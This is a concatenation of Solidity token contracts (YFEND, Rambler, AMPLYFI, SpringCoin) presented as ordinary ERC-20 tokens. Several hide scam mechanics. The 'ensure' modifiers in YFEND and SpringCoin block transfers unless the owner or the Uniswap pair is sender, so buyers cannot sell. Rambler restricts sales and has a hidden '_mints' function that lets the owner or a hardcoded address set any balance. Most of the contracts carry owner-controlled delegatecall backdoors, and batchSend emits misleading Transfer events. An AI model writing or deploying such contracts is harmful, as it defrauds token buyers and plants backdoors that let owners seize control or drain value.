governance { _setConfig(bytes32(uint(key) ^ uint(addr)), value); } }
DC1
/* IIIIIIIIIIYYYYYYY YYYYYYYFFFFFFFFFFFFFFFFFFFFFFEEEEEEEEEEEEEEEEEEEEEENNNNNNNN NNNNNNNNDDDDDDDDDDDDD I::::::::IY:::::Y Y:::::YF::::::::::::::::::::FE::::::::::::::::::::EN:::::::N N::::::ND::::::::::::DDD I::::::::IY:::::Y Y:::::YF::::::::::::::::::::FE::::::::::::::::::::EN::::::::N N::::::ND:::::::::::::::DD II::::::IIY::::::Y Y::::::YFF::::::FFFFFFFFF::::FEE::::::EEEEEEEEE::::EN:::::::::N N::::::NDDD:::::DDDDD:::::D I::::I YYY:::::Y Y:::::YYY F:::::F FFFFFF E:::::E EEEEEEN::::::::::N N::::::N D:::::D D:::::D I::::I Y:::::Y Y:::::Y F:::::F E:::::E N:::::::::::N N::::::N D:::::D D:::::D I::::I Y:::::Y:::::Y F::::::FFFFFFFFFF E::::::EEEEEEEEEE N:::::::N::::N N::::::N D:::::D D:::::D I::::I Y:::::::::Y F:::::::::::::::F E:::::::::::::::E N::::::N N::::N N::::::N D:::::D D:::::D I::::I Y:::::::Y F:::::::::::::::F E:::::::::::::::E N::::::N N::::N:::::::N D:::::D D:::::D I::::I Y:::::Y F::::::FFFFFFFFFF E::::::EEEEEEEEEE N::::::N N:::::::::::N D:::::D D:::::D I::::I Y:::::Y F:::::F E:::::E N::::::N N::::::::::N D:::::D D:::::D I::::I Y:::::Y F:::::F E:::::E EEEEEEN::::::N N:::::::::N D:::::D D:::::D II::::::II Y:::::Y FF:::::::FF EE::::::EEEEEEEE:::::EN::::::N N::::::::NDDD:::::DDDDD:::::D I::::::::I YYYY:::::YYYY F::::::::FF E::::::::::::::::::::EN::::::N N:::::::ND:::::::::::::::DD I::::::::I Y:::::::::::Y F::::::::FF E::::::::::::::::::::EN::::::N N::::::ND::::::::::::DDD IIIIIIIIII YYYYYYYYYYYYY FFFFFFFFFFF EEEEEEEEEEEEEEEEEEEEEENNNNNNNN NNNNNNNDDDDDDDDDDDDD */ // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract YFEND { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Rambler { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (563157621293137251357434877180596558890648726779)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity =0.4.12; // This is a contract from AMPLYFI contract suite library SafeMath { function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mul(uint256 a, uint256 b) internal constant returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } } contract Gov { address delegatorRec = address(0x0); function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, uint8 r, uint8 s) public { delegatorRec.delegatecall(msg.data); } } interface Fin { function finishLE() external payable; } interface priceOracle { function queryEthToTokPrice(address _ethToTokUniPool) public constant returns (uint); } contract Amp is Gov { using SafeMath for uint256; string constant public symbol = "AMPLYFI"; uint256 constant private INITIAL_SUPPLY = 21e21; string constant public name = "AMPLYFI"; uint256 constant private FLOAT_SCALAR = 2**64; uint256 public burn_rate = 15; uint256 constant private SUPPLY_FLOOR = 1; uint8 constant public decimals = 18; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed owner, address indexed spender, uint256 tokens); event LogRebase(uint256 indexed epoch, uint256 totalSupply); struct User { bool whitelisted; uint256 balance; uint256 frozen; mapping(address => uint256) allowance; int256 scaledPayout; } struct Info { uint256 totalSupply; uint256 totalFrozen; mapping(address => User) users; uint256 scaledPayoutPerToken; address chef; } Info private info; function Amp(address _finisher, address _uniOracle) { info.chef = msg.sender; info.totalSupply = INITIAL_SUPPLY; rebaser = msg.sender; UNISWAP_ORACLE_ADDRESS = _uniOracle; finisher = _finisher; info.users[address(this)].balance = INITIAL_SUPPLY.sub(1e18); info.users[msg.sender].balance = 1e18; REBASE_TARGET = 4e18; info.users[address(this)].whitelisted = true; Transfer(address(0), address(this), INITIAL_SUPPLY.sub(1e18)); Transfer(address(0), msg.sender, 1e18); } function yield() external returns (uint256) { require(ethToTokUniPool != address(0)); uint256 _dividends = dividendsOf(msg.sender); require(_dividends >= 0); info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR); info.users[msg.sender].balance += _dividends; Transfer(address(this), msg.sender, _dividends); return _dividends; } function transfer(address _to, uint256 _tokens) external returns (bool) { _transfer(msg.sender, _to, _tokens); return true; } function approve(address _spender, uint256 _tokens) external returns (bool) { info.users[msg.sender].allowance[_spender] = _tokens; Approval(msg.sender, _spender, _tokens); return true; } function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) { require(info.users[_from].allowance[msg.sender] >= _tokens); info.users[_from].allowance[msg.sender] -= _tokens; _transfer(_from, _to, _tokens); return true; } function totalSupply() public constant returns (uint256) { return info.totalSupply; } function totalFrozen() public constant returns (uint256) { return info.totalFrozen; } function getChef() public constant returns (address) { return info.chef; } function getScaledPayout() public constant returns (uint256) { return info.scaledPayoutPerToken; } function balanceOf(address _user) public constant returns (uint256) { return info.users[_user].balance - frozenOf(_user); } function frozenOf(address _user) public constant returns (uint256) { return info.users[_user].frozen; } function dividendsOf(address _user) public constant returns (uint256) { return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR; } function allowance(address _user, address _spender) public constant returns (uint256) { return info.users[_user].allowance[_spender]; } function priceToEth() public constant returns (uint256) { priceOracle uniswapOracle = priceOracle(UNISWAP_ORACLE_ADDRESS); return uniswapOracle.queryEthToTokPrice(address(this)); } uint256 transferCount = 0; uint lb = block.number; function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) { require(balanceOf(_from) >= _tokens); info.users[_from].balance -= _tokens; uint256 _burnedAmount = _tokens * burn_rate / 100; if (totalSupply() - _burnedAmount < INITIAL_SUPPLY * SUPPLY_FLOOR / 100 || info.users[_from].whitelisted || address(0x0) == ethToTokUniPool) { _burnedAmount = 0; } if (address(0x0) != ethToTokUniPool && ethToTokUniPool != msg.sender && _to != address(this) && _from != address(this)) { require(transferCount < 6); if (lb == block.number) { transferCount = transferCount + 1; } else { transferCount = 0; } lb = block.number; priceOracle uniswapOracle = priceOracle(UNISWAP_ORACLE_ADDRESS); uint256 p = uniswapOracle.queryEthToTokPrice(address(this)); if (REBASE_TARGET > p) { require((REBASE_TARGET/p).mul(_tokens) < rebase_delta); } } uint256 _transferred = _tokens - _burnedAmount; info.users[_to].balance += _transferred; Transfer(_from, _to, _transferred); if (_burnedAmount > 0) { if (info.totalFrozen > 0) { _burnedAmount /= 2; info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalFrozen; Transfer(_from, address(this), _burnedAmount); } info.totalSupply -= _burnedAmount; Transfer(_from, address(0x0), _burnedAmount); } return _transferred; } // Uniswap stuff address public ethToTokUniPool = address(0); address public UNISWAP_ORACLE_ADDRESS = address(0); address public finisher = address(0); uint256 public rebase_delta = 4e16; address public rebaser; function migrateGov(address _gov, address _rebaser) public { require(msg.sender == rebaser); delegatorRec = _gov; if (_rebaser != address(0)) { rebaser = _rebaser; } } function migrateRebaseDelta(uint256 _delta) public { require(msg.sender == info.chef); rebase_delta = _delta; } function setEthToTokUniPool (address _ethToTokUniPool) public { require(msg.sender == info.chef); ethToTokUniPool = _ethToTokUniPool; } function migrateChef (address _chef) public { require(msg.sender == info.chef); info.chef = _chef; } uint256 REBASE_TARGET; // end Uniswap stuff function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256) { require(msg.sender == info.chef); if (supplyDelta == 0) { LogRebase(epoch, info.totalFrozen); return info.totalFrozen; } if (supplyDelta < 0) { info.totalFrozen = info.totalFrozen.sub(uint256(supplyDelta)); } LogRebase(epoch, info.totalFrozen); return info.totalFrozen; } function _farm(uint256 _amount, address _who) internal { require(balanceOf(_who) >= _amount); require(frozenOf(_who) + _amount >= 1e5); info.totalFrozen += _amount; info.users[_who].frozen += _amount; info.users[_who].scaledPayout += int256(_amount * info.scaledPayoutPerToken); Transfer(_who, address(this), _amount); } function unfarm(uint256 _amount) public { require(frozenOf(msg.sender) >= _amount); require(ethToTokUniPool != address(0)); uint256 _burnedAmount = _amount * burn_rate / 100; info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalFrozen; info.totalFrozen -= _amount; info.users[msg.sender].balance -= _burnedAmount; info.users[msg.sender].frozen -= _amount; info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken); Transfer(address(this), msg.sender, _amount - _burnedAmount); } function farm(uint256 amount) external { _farm(amount, msg.sender); } bool public isLevent = true; uint public leventTotal = 0; // transparently adds all liquidity to Uniswap pool function finishLEvent(address _ethToTokUniPool) public { require(msg.sender == info.chef && isLevent == true); isLevent = false; _transfer(address(this), finisher, leventTotal); Fin fm = Fin(finisher); fm.finishLE.value(leventTotal / 4)(); ethToTokUniPool = _ethToTokUniPool; } function levent() external payable { uint256 localTotal = msg.value.mul(4); leventTotal = leventTotal.add(localTotal); require(isLevent && leventTotal <= 10000e18); _transfer(address(this), msg.sender, localTotal); _farm(localTotal, msg.sender); } }
DC1
pragma solidity ^0.5.17; /* Spring Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract SpringCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
